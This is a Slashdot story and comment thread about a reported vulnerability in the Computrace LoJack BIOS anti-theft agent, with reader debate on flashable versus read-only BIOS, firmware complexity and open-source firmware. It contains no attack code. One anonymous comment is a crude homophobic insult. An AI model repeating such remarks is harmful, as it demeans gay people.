Slashdot Mirror


BIOS "Rootkit" Preloaded In 60% of New Laptops

Keldrin_1 writes "Researchers Alfredo Ortega and Anibal Sacco, from Core Security Technologies, have discovered a vulnerability in the 'Computrace LoJack for Laptops' software. This is a BIOS-level application that calls home for instructions in case the laptop is ever lost or stolen. However, what the application considers 'home' is subject to change. This allows the creation of malware capable of 'infecting the BIOS with persistent code that survive reboots and reflashing attempts.' Computers from Dell, Lenovo, HP, Toshiba, Asus, and others may be affected."

236 comments

  1. Hmmm by Anonymous Coward · · Score: 4, Funny

    P.C. Phone Home.

    1. Re:Hmmm by SEWilco · · Score: 2, Funny

      If I find my PC erecting a metal umbrella then I'll worry about it.

    2. Re:Hmmm by valexa · · Score: 1

      M.A.C. Mac Ain't Crap

  2. Are Sony Vaio's using this? by motherpusbucket · · Score: 5, Insightful

    Sounds like it's right up Sony's alley.

    --
    "You can't really dust for vomit" --Nigel Tufnel
    1. Re:Are Sony Vaio's using this? by Like2Byte · · Score: 1

      Don't worry about Sony Vaios. I've owned 2; however, I've only purchased 1. The second is a warranty-replacement after the first died (after 1 year of gentle use). The second died (like clockwork) every six months after and only lasted for two years (when the video board died - software rendering only (even MS-Word (aside from the normal pain) was painful!). It has since been replaced by another LT.

      So, bottom line - I don't imagine people owning Vaios long enough for them to be too problematic. They'll be in the shop being repaired every six months!

    2. Re:Are Sony Vaio's using this? by Miseph · · Score: 1

      Can you imagine the havoc in Italy if Fiat were to start building Vaios into their cars to run navigation and the like?

      I can't imagine a more perfect catastrophe.

      --
      Try not to take me more seriously than I take myself.
  3. 60%? Really? by doctor_nation · · Score: 2, Interesting

    60% seems awfully high for a program I've never heard of. Not that I've been laptop shopping lately, but still.

  4. It is time by 2names · · Score: 2, Interesting

    Can someone with some knowledge please explain to me why we can't build a machine with simple boot code that does not EVER need to be modified for the life of the hardware?

    --
    "I'm just here to regulate funkiness."
    1. Re:It is time by betterunixthanunix · · Score: 4, Insightful

      What if a bug is discovered in the boot code?

      --
      Palm trees and 8
    2. Re:It is time by $RANDOMLUSER · · Score: 4, Funny

      Busg happen. Consider the /. "write once" paradigm.

      --
      No folly is more costly than the folly of intolerant idealism. - Winston Churchill
    3. Re:It is time by motherpusbucket · · Score: 1

      I'm still waiting for someone to market an OS in the BIOS.

      --
      "You can't really dust for vomit" --Nigel Tufnel
    4. Re:It is time by heritage727 · · Score: 0, Redundant

      Busg happen.

      See? Case in point.

    5. Re:It is time by Culture20 · · Score: 1

      Can someone with some knowledge please explain to me why we can't build a machine with simple boot code that does not EVER need to be modified for the life of the hardware?

      Some big shops love sending out bios settings changes to their computers (a la dell dccu type program). ie "on next boot only, pxe boot for a reimage" read-only bios is easy, just like kiosk machines, but the money's in configurable multi-use systems.

    6. Re:It is time by Anonymous Coward · · Score: 0

      Hey dawg, I herd you liek OS so I put some OS in your BIOS .. buy it nao!

    7. Re:It is time by $RANDOMLUSER · · Score: 4, Funny

      Woosh

      --
      No folly is more costly than the folly of intolerant idealism. - Winston Churchill
    8. Re:It is time by prgrmr · · Score: 1

      They did. It was called the TI-99.

    9. Re:It is time by sottitron · · Score: 1

      Things are happening too fast and there are too many components out there for this. Imagine you did develop this technology. The next day or week or quarter Intel or AMD ships a new processor and the hardware you developed can't use it. So all the time and money you spent developing this *FINAL* boot code is now obsolete. If you did have customers, they will move on to some other platform that can use the 'latest and greatest' because that is what the end user eventually demands. And this isn't just in the high end. Just about everything Intel sells now - even on this low end - is from 45nm process and requires a relatively new chipset to run it. Its why you can probably only find one new socket 478 motherboard on the market...

    10. Re:It is time by echucker · · Score: 1

      They should be able to email the owner who registered the original purchase.

    11. Re:It is time by DadLeopard · · Score: 3, Interesting

      Been there, had that, in the 80s! Atari 1040ST had TOS (Tramiel Operating System) on EPROMs! Have yet to se a virus or rootkit that carried an EPROM eraser around with it, so as long as you booted up without media in the drives machine was guaranteed clean! God I miss That machine!! GEM was sweet!

    12. Re:It is time by Sancho · · Score: 1

      They already do. High end motherboards can boot to a simple OS with basic features that let you browse the web, watch DVDs, use popular instant messaging services, and read e-mail. The boards often promote "from boot to web in 5 seconds!"

    13. Re:It is time by Yvanhoe · · Score: 0, Troll

      Fire the guy. BIOS do the same function on every computer and are a very simple program of a few K. Bugs in there are totally avoidable.

      --
      The Wise adapts himself to the world. The Fool adapts the world to himself. Therefore, all progress depends on the Fool.
    14. Re:It is time by Anonymous Coward · · Score: 0

      In fact, its already happened.

      High-end ASUS motherboards come with the "Splashtop" Linux-based OS built into the BIOS. they aren't particularly feature-rich operating systems (boot, basic network capability, browser and skype) but they exist. In my experience (yes, I bought one, I'm a sucker for gadgets) isn't really worth it; ASUS advertises it as something you use to quickly log-on to your computer to check your mail or browse a website, but in practice Splashtop took almost as long to load up as WindowsXP.

      I'm sure there are other examples of BIOS-OS as well.

    15. Re:It is time by Anonymous Coward · · Score: 0

      No matter how simple your code is, it will never be perfect.

    16. Re:It is time by rattaroaz · · Score: 1

      What if a bug is discovered in the boot code?

      Recommend buy a new computer. The bug would be a feature, not a bug at all.

    17. Re:It is time by Anonymous Coward · · Score: 0

      Just by mentioning that writing a bug free bios is even remotely easy tells me that you haven't really thought about it.

      The only times I have seen the word "bug free" is in theory (text book).

      Even if you do have a bug free bios, you might want to add support for newer hardware.

    18. Re:It is time by Chris+Mattern · · Score: 3, Funny

      That's nice. "Hello, customer. There's a fatal bug in your BIOS. Of course, there's not a damn thing you can do about it, since the BIOS on this model isn't changable, but at least you know about it now."

    19. Re:It is time by Anonymous Coward · · Score: 1, Informative

      I take it your not a BIOS developer? Because that answer is completely WRONG.

      BIOS controls the base hardware, and is different on different machines. SOME need LBA some dont, some have higher/lower bus speeds than others. It changes frequently (not as frequent as an OS, but frequent) to support new hardware such as Faster ram support, larger HD support, etc.

      Non changing BIOS is not a reality. Period.

    20. Re:It is time by darksabre · · Score: 2, Insightful

      Because booting a PC is not simple. DRAM init is complicated. PCI init is complicated. Supporting suspend to RAM is complicated. etc etc.

    21. Re:It is time by element-o.p. · · Score: 1
      It's obviously a character flaw of mine, but every time someone makes a statement, my first reaction is to find a counterexample. So, in reply to...:

      No matter how simple your code is, it will never be perfect.

      ...I humbly submit:

      int main(void);
      int main(void)
      {
      //This code performs no useful function, and is intended solely as an
      //example of how simple C code can truly be.
      return(0);
      }


      Suggestions from the better C coders out there?

      --
      MCSE? No, sir...I don't do Windows. Yes, I am an idealist. What's your point?
    22. Re:It is time by Anonymous Coward · · Score: 0

      SOME need LBA some dont

      1990 called, they want their non-LBA BIOS back.

    23. Re:It is time by darksabre · · Score: 3, Funny

      Damn, I've just wasted 15 years of my life porting BIOSes to different platforms. Thanks for telling me that it was all unnecessary. Hardware manufacturers will also be pleased to know that they can just use a smaller ROM of a few KB instead of the 4MB ROMs that are coming into use now. That will save a few pennies.

      I bow before your in depth and vastly superior knowledge of the subject.

    24. Re:It is time by tepples · · Score: 2, Informative

      Fire the guy. BIOS do the same function on every computer and are a very simple program of a few K. Bugs in there are totally avoidable.

      No, they need to be adapted per chipset, especially for things like ACPI.

    25. Re:It is time by BitZtream · · Score: 1

      Because it takes effort to make it stable and reliable enough to put out a version that works well enough to not have to ever patch. BIOS isn't exactly 'standardized'. Well, thats not true, it is because Windows expects certain things out of the BIOS and there is a lose 'standard' but its not followed close enough that there is any standard test set that says if the software passes these tests its good to go.

      Doing all that takes money and time. We used to get this sort of effort out of console video games before they could be patched, now they are just as buggy as all other software.

      The PC industry moves too fast and too cheaply to put proper effort into bug testing their hardware, which is why we get processors with f00f bugs, cache exploits, BIOS updates and all the other crap you get. Whats unfortunate is that its effecting other industries too, like video game consoles and phones.

      We can make a BIOS that doesn't really need to be touched, but since we have the Internet, its far easier and quicker to just throw it together 'good enough' and fix it as needed later. The Internet brings many great things, and many bad things.

      --
      Persistent Volume manager for Kubernetes - https://github.com/dwimsey/openshift-pvmanager
    26. Re:It is time by MrCrassic · · Score: 1

      O --- joke

      --------- the cloud

          o
      \ | / --- you
          |
        / \

    27. Re:It is time by Voyager529 · · Score: 1

      BIOS chips were rote ROM for a long time before writable BIOS was commonplace. Henceforth, I'm wondering if going old-school on this would be the best way to go.

      What about read-only, removable, replaceable BIOS chips? If there's a sufficiently serious bug in the firmware, the OEM mails BIOS chips to registered users. If it's just feature or performance or hardware enhancements, then the OEM charges a nominal fee for it.

      Alternatively, what about having twin BIOS chips and a USB BIOS reader? The removable BIOS chip could have a few extra pins used for flashing the BIOS that the motherboard physically doesn't have, but the USB reader does. Pop out BIOS #1, flash, replacce, pop out BIOS #2, flash, replace.

      Finally, what about some kind of dip switch on the motherboard?

      There are several ways to achieve the goal of allowing for BIOS updates while maintaining security at the physical level, which really is the best place for it given the circumstances.

    28. Re:It is time by plague3106 · · Score: 1

      What about read-only, removable, replaceable BIOS chips? If there's a sufficiently serious bug in the firmware, the OEM mails BIOS chips to registered users. If it's just feature or performance or hardware enhancements, then the OEM charges a nominal fee for it.

      Great, now i have to pay for something which had been included... and open up the computer. Sounds WONDERFUL.

    29. Re:It is time by parkrrrr · · Score: 2, Insightful

      Are you sure your compiler doesn't have any bugs that might be exacerbated by, say, a main that doesn't take any arguments?

    30. Re:It is time by Anonymous Coward · · Score: 0

      When I go to compile this, can you prove that the compiler will have no bugs?

    31. Re:It is time by parkrrrr · · Score: 1

      and skype

      So even the embedded OS hasn't managed to avoid a malware infection, then?

    32. Re:It is time by maxwell+demon · · Score: 2, Insightful

      Or maybe there's a bug in the startup code generated by the compiler, but it triggers only in very unusual situations, so it wasn't yet detected. That bug would be in any program generated by the compiler, including the empty one.

      --
      The Tao of math: The numbers you can count are not the real numbers.
    33. Re:It is time by maxwell+demon · · Score: 1

      Or even simpler: Make the BIOS flashable only from within the BIOS. As soon as the OS gets control, no more flashing.

      --
      The Tao of math: The numbers you can count are not the real numbers.
    34. Re:It is time by element-o.p. · · Score: 1

      I figured there had to be something I wasn't thinking of -- there's a reason I'm a network admin and not a dev :)

      --
      MCSE? No, sir...I don't do Windows. Yes, I am an idealist. What's your point?
    35. Re:It is time by avxo · · Score: 1
      From http://invisiblethingslab.com/press/itl-press-2009-03.pdf

      In this presentation we will discuss and demonstrate how to permanently re-flash Intel BIOSes on the latest Intel® Q45-based desktop systems. In contrast to a previous work done by other researches a few months earlier, who targeted unprotected low-end BIOSes, we focus on one of the most secure, vPro-compatible, BIOSes, that normally only allow a vendor's digitally signed firmware to be flashed. We demonstrate how to bypass this verification scheme, using a very sophisticated heap overflow exploit. The attack requires administrator-level access, and also requires one reboot to succeed, albeit doesn't require any user consent or cooperation, nor any physical access to the machine â" thus it is well suited for use by malware. The attack stresses the importance of other means for ensuring trusted boot process, like e.g. TCG's TPM-aided ones, as well as the importance of better review of the core system software and firmware.

      Intel implements exactly the sort of switch you describe, in addition to requiring a signed BIOS. And lo, it's still possible to do bad things...

    36. Re:It is time by troll8901 · · Score: 1

      Good one, Sir. I wouldn't have been able to state it so eloquently.

    37. Re:It is time by Tony+Hoyle · · Score: 1

      EFI is comparable to DOS of the old days.. we just don't call it an OS any more because our definition of OS has changed.

    38. Re:It is time by mlts · · Score: 1

      This is the solution that most BIOSes use for ATA hard disk locking. Due to the possibility for rogue programs putting on passwords onto hard disks, a feature was introduced to lock out any modifications to this functionality in drives other than on the BIOS level. This helps prevent OS level malware that would render drives unusable.

      Flashing should be the same. Go into BIOS, insert a USB flash drive, load up the file, have the flashing utility do some sanity checks to ensure that the flash image is actually usable on that machine and motherboard, then finish the flashing. Of course, there should be a backup BIOS should power fail or something bad happen with the image that was flashed.

    39. Re:It is time by Yvanhoe · · Score: 1

      In this simple case, yes : for this program it is possible to test inputs vs desired outputs. Hell, some people still know about assembly code, just look at what was generated !

      --
      The Wise adapts himself to the world. The Fool adapts the world to himself. Therefore, all progress depends on the Fool.
    40. Re:It is time by alexjlennon · · Score: 1
      Back in the mists of time you used an EPROM (eraseable programmable read only memory) programmer to burn information into chips. When you found that your latest and greatest code had bugs in it you needed to expose the EPROM to ultra-violet light in a natty little UV eraser box to erase the data on the part and then you started again burning it.

      (We used to drink coffee slower back then).

      Next some bright spark invented EEPROMs (with the E standing for electrically) so you could ask the chip to erase your dodgy old code before asking it to burn your new dodgy code into itself.

      Around this time a lot of these chips were still removable so when you inadvertently erased the part you could always go get another one and replace it with only some minor pin bending.

      Some even brighter sparks decided that it'd be fun to make the EEPROM parts surface mount so now when a virus kills your code, or you inadvertently kill it yourself trying to update the splashscreen with pics of { Paris Hilton, Ray Beckerman, Bruce Schneier, Chuck Norris }, you now have to whip out your soldering iron and take a deep breath.

      In the same way that a lot of flash storage has a little 'lock' switch there were link settings on some motherboards which you could set to make sure the chip wouldn't modify itself or erase itself (although the chips didn't always properly support this).

      Similarly various microcontroller parts have a fuse bit you can blow to disable any future updates. There were also all sorts of weird and wonderful schemes such as having a couple of copies of the BIOS so the spare could replace the 'broken' copy.

      It seems a shame this hasn't become industry standard (or if it has its passed me by in my state of decrepulousness and please accept my apologies...)

      Alex/

    41. Re:It is time by Yvanhoe · · Score: 1

      Ok, sorry, I only know old theories about BIOS.After reading the (justly) outraged answers I looked a bit more in depth and... I was bewildered. The goal of the BIOS is mainly to start a bootloader. Sure it can be flashed, but this is the last piece of software where manufacturers want to put bugs. I was taught that BIOS focused on simplicity and small size.
      I had somewhere in the back of my head a sticky note saying that BIOS could be a dangerous part of closed source, but until today I did not realize at which point. 4 MB of code ? Closed source and executed without I can prevent it ? This may be the biggest threat to OSS computing I have encountered so far. A keylogger there will be really hard to spot...

      --
      The Wise adapts himself to the world. The Fool adapts the world to himself. Therefore, all progress depends on the Fool.
    42. Re:It is time by david_thornley · · Score: 1

      If it doesn't take "int main(void)" or "int main(int argc, char**argv)", it isn't a standard C compiler. The program as written is impeccable, if not, say, useful. I don't think it's useful to say that a program is imperfect just because other software it interacts with has bugs.

      --
      "When you have eliminated the unacceptable, whatever is left, however improbable, must be the truthiness" - Holmes
    43. Re:It is time by X0563511 · · Score: 2, Insightful

      Which is a lot better than something bad happening with no clue as to why.

      Even if it wasn't fixable, I would like to know.

      --
      For large sets, this will be our guide even unto death, for the LORD will work for each type of data it is applied to...
    44. Re:It is time by Joiseybill · · Score: 1

      It is possible, but not cost-effective.

      One of my first machines was a Compaq 386 desktop.
      I bought it almost bare-bones, and slowly upgraded..
      I got the 387 coprocessor, then saved a few hundred dollars for 4MB of RAM (not a misprint).

      As part of the owner-registration process, Compaq actually sent me written updates to my user manuals.
      Among the correspondence I received there were occasional invitations to "Upgrade your BIOS".

      I did that, two or three times over the life of the machine.
      For all but the last, I paid around $30 (1990-ish), a local vendor drop-shipped me the new BIOS chip,with a plastic chip puller, wrist-ground strap, and instructions. After changing the chip and making sure everything worked, I returned the old BIOS to them in the packing they provided.
      On the last, I was just told to pay $40, and don't return the old one.

      If we returned to this model, then as long as you could protect the physical integrity of the box, you can protect the BIOS.
      Of course, this adds to the TCO in long-term maintenance if a critical issue is found and the BIOS must be replaced.

    45. Re:It is time by parkrrrr · · Score: 2, Insightful

      But the context of the discussion was that the object code should be flawless. In that case, whether the tools that turn source code into object code have bugs turns out to be relevant.

      And I didn't say int main(void) was wrong or bad; what I intended to imply was that some compiler might have only been properly tested for the more common argc/argv prototype. Heck, it might not have been tested at all; as another poster mentions it might be a bug in all code the compiler generates.

    46. Re:It is time by X0563511 · · Score: 1

      No matter how simple your code is, it will never be perfect.

      Emphasis on "your code" - not the compiler's, preprocessor's, linker's, etc output. This also excludes any of the library code that is included - that part isn't your code either.

      --
      For large sets, this will be our guide even unto death, for the LORD will work for each type of data it is applied to...
    47. Re:It is time by maxwell+demon · · Score: 1

      Well, it's not exactly the scheme I had in mind. Obviously you can initiate a flash sequence from the OS. What I had in mind would be like:
      Step 1: Reboot.
      Step 2: Type DEL (or whatever your BIOS expects) to get into the BIOS menu
      Step 3: In the BIOS menu, select "Update BIOS"
      Step 4: Select the BIOS image to update

      So the program would have to
      * Initiate a reboot (that's the easy part)
      * Get the keyboard to generate a DEL keypress just at the right point in time (after the malicious code has lost control, because the computer already restarted!)
      * Get the keyboard to generate more keypresses to navigate the menu and select the malicious image

      I doubt that this is possible, and even if it is, you can easily spoil that process by setting a BIOS password (the malicious process certainly cannot program the keyboard to enter a password which is only in your head, or written on a piece of paper close to your computer).

      --
      The Tao of math: The numbers you can count are not the real numbers.
    48. Re:It is time by Anonymous Coward · · Score: 0

      Fire the guy. BIOS do the same function on every computer and are a very simple program of a few K. Bugs in there are totally avoidable.

      Mod parent -1, needs a clue.

      Please, do you have any idea what you are talking about, BIOSes certainly do change and get updated; compare the BIOS on a 1990 vintage Amiga, to a 2001 Dell, with a intel based Apple. There are huge differences.

    49. Re:It is time by darksabre · · Score: 3, Insightful

      Sorry but the BIOS has not been small and simple for about 20 years. It does far more than simply launch a bootloader. New technologies have constantly been added to the BIOS and each one has added to the complexity. APM, PnP, PCI, ACPI, EPP/ECP, BBS, UEFI, PCIe etc etc. The 4MB ROM is not yet full of BIOS code, that's still only about 1.5MB give or take. However Intel boards also have code in there for their manageability engine etc. With a reasonable amount of headroom in the ROM manufacturers are looking to add value by using that available space to include new features hence this Lojack fiasco.
      OSS doesn't stand much of a chance of producing a BIOS until it has a suitably open hardware platform to go with it. So much of a BIOS is intimately connected to the hardware that without access to the full specs the hardware would be obsolete before it could be reverse engineered.

    50. Re:It is time by adolf · · Score: 2, Informative

      Not everything is flash-based, yaknow.

      Once upon a time, I had a 32x Plextor SCSI CD-ROM reader, back when such a thing was still a trendy thing to have for ripping audio CDs, which was generally problematic back then.

      It worked pretty well, but eventually Plextor made a new firmware for it that improved a few things. They mailed it out to me for free, via USPS. After the package showed up, I found a small, square EEPROM inside of a static-resistant carrier and, IIRC, a brief instruction sheet.

      The process was simple: Pull the drive, turn it over, remove old chip, insert new chip, reassemble, and done.

      I mean, sheesh: BIOS wasn't always flashable, either, yaknow -- it used to be contained on socketed ROMs that could be swapped around fairly easily.

    51. Re:It is time by pizza_milkshake · · Score: 1

      Those C++/C99-style comments are parse errors in my pre-ANSI C compiler, you insensitive clod! Also, this program crashes on my dangerously overclocked CPU (Ref: ahref=http://blogs.msdn.com/oldnewthing/archive/2005/04/12/407562.aspxrel=url2html-15136http://blogs.msdn.com/oldnewthing/archive/2005/04/12/407562.aspx>)

    52. Re:It is time by GigsVT · · Score: 1

      We lived with non-flashable bioses and CPUs with no microcode update support for many many years. It wasn't the end of the world.

      --
      I've had enough abrasive sigs. Kittens are cute and fuzzy.
    53. Re:It is time by thejynxed · · Score: 1

      We used to anyhow. Boo-fscking-hoo. If you are that much of a lazy fsck, I suggest you sell your computer on Craigslist or eBay within the next 24 hours, and never get another one. My sister was swapping BIOS chips out before she was 6.

      Cry me a freaking river, you hoser.

      --
      @Mindless Drivel: 100% of Twitter posts ever Tweeted.
    54. Re:It is time by Anonymous Coward · · Score: 0

      OSS doesn't stand much of a chance of producing a BIOS until it has a suitably open hardware platform to go with it.

      That's why projects like CoreBoot don't exist and there's no such thing as an Open BIOS. :rolleyes:

    55. Re:It is time by indi0144 · · Score: 1

      Is not in the BIOS. I have one of those boards and You have to install that feature from windows (only, FTW)and it puts a bunch of files in hidden folders in C (or D You can actually choose). All that it's done in the BIOS is an option to call that bootloader instead of the windows one. It's based on Linux but sadly I didn't saw the word "Linux" anywhere.

    56. Re:It is time by darksabre · · Score: 1

      I follow the coreboot development and I am impressed by how far they have got however:-
      1) coreboot does not support any motherboards that are still for sale, its all old technology, see my comment about being obsolete before being reversed.
      2) coreboot is not a BIOS, nor does it claim to be
      3) coreboot does not support any laptops as they cannot get the documentation on the embedded controllers, again the laptop will likely be obsolete before it can be reversed.
      4) coreboot, when it does work, tends to only work for limited configurations of the hardware

      Yes coreboot is improving and adding support for new features etc however it will always be playing catchup unless it can have all the specs for the hardware (ie an open platform) and that will always take time. Also most people are not interested in making a truly flexible and generic solution, they just want it to work well enough for them.

      As for OpenBIOS, that is truly a misnomer, it is not a BIOS at all. It is an implementation of IEEE 1275-1994 known as Open Firmware. It depends on a lower level first loader such as coreboot, so inherits all coreboot issues. Apple stopped using Open Firmware when they switched to Intel CPUs. Sun are moving away from Sparc CPUs. So it is of little practical use, however the biggest problem is this quote on the OpenBIOS website "Do not try to put OpenBIOS in a real boot ROM, it will not work and may damage your hardware!"

    57. Re:It is time by plague3106 · · Score: 1

      Yes, and we don't anymore because it was a pain in the ass.

      Of course I'm sure you grow and harvest your own food, do all the repairs on your car yourself, do all the repairs on your house yourself and generate your own power and drill your own oil... because you're not lazy..

      Drop dead you no life loser.

  5. From Mogwai to Gremlin by CrimsonKnight13 · · Score: 3, Funny

    LoJack swiftly changes to HiJack with a good splash of water

    --
    Libera te ex Inferis!
    1. Re:From Mogwai to Gremlin by trevorrowe · · Score: 5, Funny

      LoJack swiftly changes to HiJack with a good meal after midnight

      There, fixed that for you. A splash of water would give you more laptops... if only ...

    2. Re:From Mogwai to Gremlin by TinBromide · · Score: 2, Funny

      LoJack swiftly changes to HiJack with a good meal after midnight

      There, fixed that for you. A splash of water would give you more laptops... if only ...

      Yeah, but they'd all run windows ME

      --
      Is it sad that I am more likely to recognize you and your posts by your sig than your name or UID?
    3. Re:From Mogwai to Gremlin by CrimsonKnight13 · · Score: 1

      Thanks. I knew I got something "fuzzy" about it all...

      --
      Libera te ex Inferis!
    4. Re:From Mogwai to Gremlin by Anonymous Coward · · Score: 0

      A splash of water would give you more laptops... if only ...

      Indeed... the only time I ever tried that, I wound up with fewer laptops. Fewer working ones, anyway.

    5. Re:From Mogwai to Gremlin by $RANDOMLUSER · · Score: 1

      Heh. Parent is "flamebait"; like the masses are going to rise up and hotly defend Windows ME.

      Besides, Windows ME was more like Aliens than Gremlins.

      --
      No folly is more costly than the folly of intolerant idealism. - Winston Churchill
    6. Re:From Mogwai to Gremlin by element-o.p. · · Score: 1

      I think the mod who moderated him "flamebait" must be the ONE Windows user who actually liked Windows ME. What are the odds that that one person would be reading this thread? Go figure...

      --
      MCSE? No, sir...I don't do Windows. Yes, I am an idealist. What's your point?
  6. Its almost time to upgrade anyways. by Monkeedude1212 · · Score: 1

    Seriously, why did I get a Gateway in the first place?

    1. Re:Its almost time to upgrade anyways. by n1ckml007 · · Score: 1
  7. Not a "rootkit" when I want it by Anonymous Coward · · Score: 4, Insightful

    Just like SPTD is not a rootkit when it hides my emulated dvd from copy protection software.

    This is a popular piece of software that happens to have a potentially serious bug that the vendors and users should be demanding be fixed, but it doesn't make it a rootkit.

    1. Re:Not a "rootkit" when I want it by b1nary+atr0phy · · Score: 1

      perhaps you should re-read the definition of rootkits, specifically hardware level rootkits.

  8. You 'solve' problems by creating worse problems? by Anonymous Coward · · Score: 0

    Macbooks will give you teh gay, which I guess is not a problem if you already smoke teh cock.

  9. Re:60%? Really? by cachimaster · · Score: 5, Interesting

    I know it's hard to believe. When doing our research (I'm Alfredo, hi!) we couldn't find a notebook *without* the Computrace agent. It's bad.

  10. OFFS.... by Em+Emalb · · Score: 1

    Cmon, it's a rootkit BY DESIGN, so it can't be wiped off the laptop easily.

    Sheesh.

    Someone should do a car analogy for this...

    --
    Sent from your iPad.
    1. Re:OFFS.... by Culture20 · · Score: 1

      Someone should do a car analogy for this...

      If only there were a "Computrace lojack for laptops" for cars.

    2. Re:OFFS.... by Anonymous Coward · · Score: 0

      This is like an OnStar system that can not be removed from your car, has the ability to call home, and has the ability to disrupt the functionality of the car.

    3. Re:OFFS.... by Sancho · · Score: 1

      Exactly. The problem, of course, is that someone found a vulnerability for it. Now this thing that's running at higher privileges than your OS can be subverted. And you can't remove it. By design.

  11. Re:60%? Really? by Tx · · Score: 1

    I was just thinking the same thing. Considering that the list of models with this stuff in the BIOS doesn't include Acer, who ship more laptops than anyone else, or HP, or several other big players, I'm a bit sceptical of that figure. Still the list is quite extensive, I'm a bit surprised I haven't heard of this.

    --
    Oh no... it's the future.
  12. Re:Problem solved by Robin47 · · Score: 1

    I use a Macbook.

    Really? My Macbook has it installed. Not that worried yet.

  13. Name change by Anonymous Coward · · Score: 0

    Recommending changing name to MIOS.

    Malicious Input Output System.

  14. Re:60%? Really? by Tx · · Score: 1

    Ok, so it does include HP. It's been a long day, and I go home in 3 minutes.

    --
    Oh no... it's the future.
  15. persistent code that survive reboots by viralMeme · · Score: 1

    "the duo demonstrate methods for infecting the BIOS with persistent code that survive reboots and reflashing attempts"

    Where exactly is the code stored, that survives reboots?

    1. Re:persistent code that survive reboots by Daniel_Staal · · Score: 2, Informative

      With the rest of the BIOS code, in the special flash-pram on the motherboard designed especially to store just that code.

      --
      'Sensible' is a curse word.
    2. Re:persistent code that survive reboots by John+Hasler · · Score: 1

      Which should be protected from writing by a jumper or switch.

      --
      Warning: this article may contain humor, sarcasm, parody, and perhaps even irony. Read at your own risk.
    3. Re:persistent code that survive reboots by value_added · · Score: 2, Informative

      Where exactly is the code stored, that survives reboots?

      Start here. For more info, you can read the Wiki article.

      Alternatively, try opening your computer and actually looking at what's inside. ;-)

    4. Re:persistent code that survive reboots by sexconker · · Score: 1

      Wrong.
      That shit can only be removed by a hardware flasher or a hammer.

      Computrace is saved in an area that is never allowed to be overwritten.

    5. Re:persistent code that survive reboots by Sancho · · Score: 1

      Is that common on laptops?

    6. Re:persistent code that survive reboots by Anonymous Coward · · Score: 0

      Forget laptops, is that common on desktops? I have never seen a motherboard with a switch to prevent BIOS reflashing.

    7. Re:persistent code that survive reboots by Sancho · · Score: 1

      I haven't seen a switch, but I've seen jumpers on the mainboard that do it.

  16. Re:Problem solved by alen · · Score: 3, Informative

    http://store.lojackforlaptops.com/store/absolute/DisplayProductDetailsPage/productID.104509100

    Congrats, there is a Mac version available as well. PC's and Mac's are all the same parts made by the same slaves chained together. there is a few companies in the world that make a basic computer and then Dell, HP, Apple and others add a few things and brand it for themselves.

  17. Okay.. maybe I'm missing something by Broken+scope · · Score: 1

    Don't people specifically BUY low jack for laptops, or does it come pre installed and you pay to activate it?

    It clearly has bugs, but I thought the hard/impossible to remove was considered a feature of the software?

    --
    You mad
    1. Re:Okay.. maybe I'm missing something by tlhIngan · · Score: 1

      Don't people specifically BUY low jack for laptops, or does it come pre installed and you pay to activate it?

      It clearly has bugs, but I thought the hard/impossible to remove was considered a feature of the software?

      YOu can buy it, but you can also get it pre-installed. Dell offers it as part of the extended warranty in Canada for their laptops. I presume other manufacturers have similar things going where either you get service "prepaid" or discounted service rates.

      The reason for the BIOS part is that if you reinstall Windows, LoJack automatically reinstalls itself. Not too sure how it does it, but the BIOS does something to put it back on the hard disk...

    2. Re:Okay.. maybe I'm missing something by SkimTony · · Score: 1

      With most Dell notebooks, it's part of the bios, and there's a screen to activate it. It saves a lot of time when you have to use on 200 corporate laptops. It also saves compatibility headaches, since CompuTrace works with the vendors (initial versions had to be verified for work with specific bios versions on specific vendors and models, and you'd install it and it'd flash itself into the bios).

    3. Re:Okay.. maybe I'm missing something by Broken+scope · · Score: 1

      Huh, I've always had to install it at work. Then again I'm not sure of the specifics of installing it on our dells. We use lite touch to deploy it along with a ton of other stuff.

      --
      You mad
  18. Re:60%? Really? by _bug_ · · Score: 5, Interesting

    Any way to tell if your laptop has this "feature"?

    And is there any way to disable it?

  19. Re:60%? Really? by Anonymous Coward · · Score: 0

    Just to let you know my position;
    I have a dell laptop and every laptop I have had for the last three years has had the Computrace option in the bios. It comes neither active or deactivated once you make a choice its irreversible (the Bios alerts you to it). Once activated no matter if you rebuild the laptop it will reapply the 'Feature', what is alarming is that the feature as of late is Geolocation aware in some incarnations. I would like the option to have a BIOS patch remove the feature for good as it appears that it may be compromised.

    It also doesnt seem to be too hard to circumvent for the professional thief who may just use Dells service tools to change the asset tag.

  20. Re:Problem solved by oahazmatt · · Score: 4, Insightful

    I use a Macbook.

    As do I, but that does not mean that I have any delusions as it relates to security.

    There are quite a bits of exploitable code available that, if properly engineered, can do quite a bit of damage to an Apple computer. Simply because there is no Mac version of the "Melissa" virus does not mean that as a Mac user I should assume that there will never be one.

    And let's not forget the iLife torrent that had something special added to it. There are plenty of individuals attempting to prove to the general public that a Mac is no more secure than it's Windows counterpart, and it will be not a false sense of security, but a lack of personal responsibility that will assist in that.

    Opinion, obviously. Results may vary.

    --
    Those who believe the Internet is private,
    find their privates are on the Internet.
  21. Re:60%? Really? by Lou57 · · Score: 1

    1. How can I determine if a laptop has this?
    2. Are their any workarounds? Fixes? Can it/Should it be disabled?

    --
    Lou
  22. Great, why don't we just give them our laptops! by Algorithmn · · Score: 1

    So, the idea was to load "sleeper" software by default on all these machines? Is the URL associated with this "service" always at the same memory location? It shouldn't be that hard for a Malware author to check for this BIOS and try to change the address. Who feels like being monitored by criminals? 10% off sale price?

  23. Signature by Spazmania · · Score: 5, Insightful

    The pair recommended a digital signature scheme to authenticate the call-home process.

    How's that going to help? If you can replace the IP address then you can replace the certificate and signature too. If you have access to modify the BIOS flash, it's game over.

    --
    Moderating "-1, Disagree" is simple censorship. Have the guts to post your opinion.
    1. Re:Signature by Anonymous Coward · · Score: 0

      You weren't paying attention. The "call-home" is where the security issue is. They won't be able to replace the cert and sig without first pretending to be the "home".

    2. Re:Signature by scubamage · · Score: 1

      Except its not able to be overwritten by a bios flash. It's stored elsewhere. While it would be possible to flash the RAM where it IS stored, the people who have the skill to do so are hardly likely to be the ones stealing laptops to make money. If its stolen by a foreign government, its fooked anyways.

    3. Re:Signature by Yvanhoe · · Score: 1

      The only reasonable thing to do seems to get rid of this piece of software. Are the free open source BIOSes reliable now ?

      --
      The Wise adapts himself to the world. The Fool adapts the world to himself. Therefore, all progress depends on the Fool.
    4. Re:Signature by DigitalCrackPipe · · Score: 1

      Note that you DON'T have easy access to modify all of the BIOS, that's the point of this. Even after flashing the bios, the rootkit remains. It's just the configuration info that is left wide open.

